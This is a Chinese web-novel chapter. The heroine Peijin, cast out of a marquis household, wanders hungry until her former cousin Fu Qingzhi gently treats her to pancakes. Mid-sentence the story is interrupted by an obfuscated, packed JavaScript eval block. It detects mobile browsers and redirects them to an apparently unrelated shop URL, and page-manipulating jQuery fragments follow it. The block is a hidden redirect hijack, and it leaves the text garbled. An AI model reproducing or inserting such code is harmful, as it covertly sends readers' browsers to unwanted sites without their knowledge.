佩金知道,芸娘此时在家中满心欢喜等着她回来带给她的好消息。
于是,明明走到小巷道尽头,看见黑瓦的屋顶,她又走了出来。
深秋的早上天气颇凉,佩金身上只有一件单薄的布衣,她把自己厚的衣裳都留下给她娘了,她娘如今身子虚弱,若是一个不慎感染风寒,只会把情况弄得越糟。
她不敢回家,上回在伯府弄出那么大的动静,许多主顾那边都不能去了。
一个人在寒冷的街市上走着,大街上的每个人似乎都穿着挺暖和的,就她还穿着单薄夏衫,游魂野鬼似的在市集中穿来梭去,像海上漫无目的漂浮的小孤舟。
不知怎地,漂着漂着,她又毫无意识地重回到城中金桂大街的永宁侯府。
府门口张结的灯笼还没撤走。
她记得小时候她生辰也是这样的,侯府娘会在她生辰的时候让府里上下都挂上红彤彤的大灯笼。
侯府娘说生辰挂大灯笼是为了从她生辰这一天起就照亮她此后的路途,侯府大门会永远为她照亮往后的路,所以即便是生辰之后的好几天,都得一直在门口挂着。
她深知如今这府门口挂着的大灯笼并不是为她,而且小时候那些侯府爹抱着她有马也不骑徒步逛街市、和侯府娘温柔给她添衣的记忆都不该属于她。
那些都该是鸣玉的,她不过是个盗窃者。
可为什么...为什么偏偏,要让她感受过那样的温暖呢?
佩金用力擦了下眼泪,就从怀里掏出一串铜钱,盯着府门,等几个面熟的奴婢离开,出来几个面生的婢子时,她追了上去。
她欲向这些下人打探永宁侯的行迹,可她知晓侯府家规甚严,家仆们都不大可能暴露主家的事,所以她只拿银子说是想见侯爷书房那个姓林的小厮。
她说自己是林姓小厮乡下的表妹,有事想见一见他。
这个姓林的小厮是伺候侯府爹笔墨的,侯府爹若是在府上的话,他如今应该是在书房忙得出不来的,但如果侯府爹不在府上,那大概他就被调到庄子去晒书。
果不其然,那几个家仆立马就肯收下她银子,并且对她说那小厮要至少三个月以上才回到城中。
那就代表着,侯府爹如今并不在侯府,他要至少三个月以上才回来了。
佩金摸着空了的袖子,那是她仅剩的最后一点钱了,其他的都被她拿去还她娘借下的印子钱,仅剩的这些,是她最后留下的下月的口粮钱。
家中虽还屯了一些米粮和食物,但此时她口袋是空的,连买个馒头的钱都没有,此时的她因为没办法找着侯府爹,也不敢回家去面对她娘的目光。
从早上出门开始,她因为心里揣着许多事,连早膳都没用就出门了,晃到现在,太阳高起,早就过了午膳时间,加之其实从昨天起她就没好好吃东西,如今的她饿得看东西都看出重影了。
沿着大街旁的小巷道走,走着走着就出了小巷,循着香味来到从前小时候最爱出府偷吃的一家卖酱香饼的小食铺。
从前小的时候时常会因为光顾街头小食铺,回去后被侯府娘谴责,而如今,像这种有门头,台椅规整的食铺,早已不是她能光顾得起的地方了。
她眼睛盯着铺门口油架子上叠放得整整齐齐的大烧饼,感觉腹肠绞着的感觉更难受了。
香气随风散飞出来,小食铺老板不断应答着店内客人的点菜。
佩金不死心地再次翻摸起怀里、袖里,发现当真连一个铜板都搜不出来时,她失望了。
就当她正想离开之际,煎着饼子的老板同人说着话一不留神烫坏了一个饼子,他笑了一声转身将烫坏的饼扔到门道旁那棵石榴树下,一只大黄狗摇着尾巴过来。
那一刻,佩金竟然有种想趁老板不注意,冲过去抢狗子饼吃的冲动。
可她到底没那么做,只是目送着那只大黄叼起饼子,大口嚼巴嚼巴吃起来。
她按住腹部,默默舔了舔唇。
一位衣着光鲜的郎君从里头出来,恰好看见这一幕,然后摇手唤起她来:“这位姑娘——”
佩金回头,二人相视俱都一愣。
倒是这位郎君先出声来:“你是...阿金妹妹?”
佩金惊悉此人是谁的那刻,第一反应是想跑。
可他喊住她:“等等!阿金妹妹你...能不能帮我一个忙?”
佩金停住脚步。
叫住她的这个郎君是傅家二叔庶出的儿子,排行第二,是傅鸣玉的二哥。
傅二叔在她九岁之前一直在潍州当县令,直到她九岁时调任畿县任职,离邢北府近了,这才阖家搬回大宅来。
这位庶出的二哥也不是当了她太久“二哥”,她就被赶出侯府了。
侯府统共住了五房人,大房、三房、四房都是老侯夫人亲生的,只有二房和五房是老侯夫人提起来的妾室所生,也就是说,这位二哥在侯府,是属于庶房中的庶出,从前见到佩金都得恭恭敬敬的,并且不会有太多见面的机会。
佩金从前见到这位隔房的庶兄,都没怎么用正眼看的,如今相遇,便有些不知要怎么聊天的尴尬。
面对面坐在木质老旧却擦拭干净的食案前,她微垂着眼,却坐得身姿笔笔直直的,“傅二公子你...想要我帮你什么忙?”
傅清致刚刚给她泡好一壶茶,茶盏推到她面前来,笑道:“阿金妹妹从前是最喜欢二哥这个幽兰踏雪茶了,你先尝尝味道同从前有否不同?”
佩金皱着眉仔细回想了好久,才想起来,好像是从前有一回家宴上,好几个隔房的哥哥为了讨好她,从外面给她搜罗了各式珍宝,而这位二哥因为手中拮据,就送了她自己炒制的茶,还亲自泡给她喝。
那会儿她什么好东西没见过?那些隔房兄弟送的珍宝,都没有她侯府爹随手拿给她玩的玩意珍贵,她厌倦那些人的阿谀奉承,看着这位二哥反倒还诚心一些,起码在她跟前炒茶沏茶的也费了不少时间,她便随意抿了一口,然后极其敷衍地夸了他一句。
其实她压根就不爱喝茶,没想到这位二哥却记到了现在。
那会儿看他在自己面前忙忙碌碌的样子,她觉得他也跟其他人一样,是为了讨得她这位侯府嫡房妹妹的欢心。
可如今见他一如既往沏茶的动作和专注,便觉心房有种被翻动暖土的感觉,带着暖意的种子冉出松动的土壤,冒出尖尖来,痒痒的。
一口清茶
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16696621|188984||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
洇过喉咙,从前不曾发现的带有花的甘甜的茶香蔓延开来。
的确是...好茶。
傅清致见她喝过了茶,笑道:“好了,现在可以请你帮我一块吃饼了吗?”
说着,店小二就过来给二人上了好几盘不同风味的酱饼。
有沾着蜂蜜酱的、葱香酱的、沾着芝麻配花生甜酱的,还有从前佩金最爱吃的几乎每回都点的特制鲜香酱中间夹虾仁滑肉馅料的。
“我每样都想尝点,可一个人吃不完。”他笑着,“你帮个忙,帮我吃掉一些别浪费,好吗?”
佩金昂起脖子,目光悄悄上移,观察到他目光真诚似乎不像是施舍她的假话时,心里的戒备放下了一些。
“傅公子,你又点这么多拉人来同食啊?”这时店老板过来同傅清致寒暄。
傅清致笑眯眯的,礼貌地点了点头。
“你啊,鸟一样的胃口却偏爱吃杂,老拉附近人陪你吃,今儿怎么才拉一个姑娘啊?看她瘦瘦小小的,你可别逼人家吃撑啊!”
老板走后,傅清致将其中一盘酱饼移到她跟前,笑:“老板怕我让你吃撑,你如果感觉到撑的话,就不必勉强,能吃多少就吃多少,剩下我来扛。”
佩金这么一听,就彻底松懈下来,伸手去拿饼:“那...我只好多吃些,不让傅二公子的胃难受了。”
“嗯,你多吃些。”傅清致笑。
起初佩金吃得还算拘谨,吃一小口目光就要悄悄打量面前的人,后来发现他也在埋头撕饼子吃,压根不看她的时候,她就一下敞开心怀,大口嚼了起来。
酱饼还是从前的味道,甚至还更好吃了一些,一个人林林总总地吃完了好几盘,直到再也吃不下,回头一看早已扫清空的盘子,她也没有一丝半点的不好意思。
“二公子你,可有吃撑?”她问。
“还好,”傅清致摸摸肚子笑:“多亏了阿金妹妹帮忙,让我既尝够了美食,也不至于胃太难受。”
“如此,那我先告辞了。”佩金站起身道。
傅清致也没有留她,只是看了她一会,才缓缓出声:“以后,我还有机会请你帮忙吃饼吗?”
佩金怔了一怔,点了点头。
回去的路上,她一直在回想刚刚的事。
傅清致没有像姚玉仪和姚霁明一样,见她落魄就拉她进屋随随便便给她塞银子,她是想要银子没错,但她只想要靠自己劳动和手艺赚取的银子,而不是他们施舍接济的银子。
傅清致从头到尾没提“给银子”一事,就连请她吃酱饼,也同店老板商量好了演戏。
方才老板过来说的那几句生硬的话,事后回想还是能想出端倪的。
不过,佩金却完全没有被戏弄的感觉,反倒会为了他这样一小心翼翼顾及她感受,而请她吃的一顿饼子的行为,而感到浑身都暖烘烘的。
最后他甚至还,慎之又慎地思考过,才开口询问,可否下回再请她来吃饼。
想到这里,佩金早已热泪盈眶,边走在回去的路上,边擦眼泪。
像是一个在险难干旱荒漠长途跋涉的人,偶遇一颗甘露,虽不足以解渴,却给了她无限希望,给以她支撑下去的信念。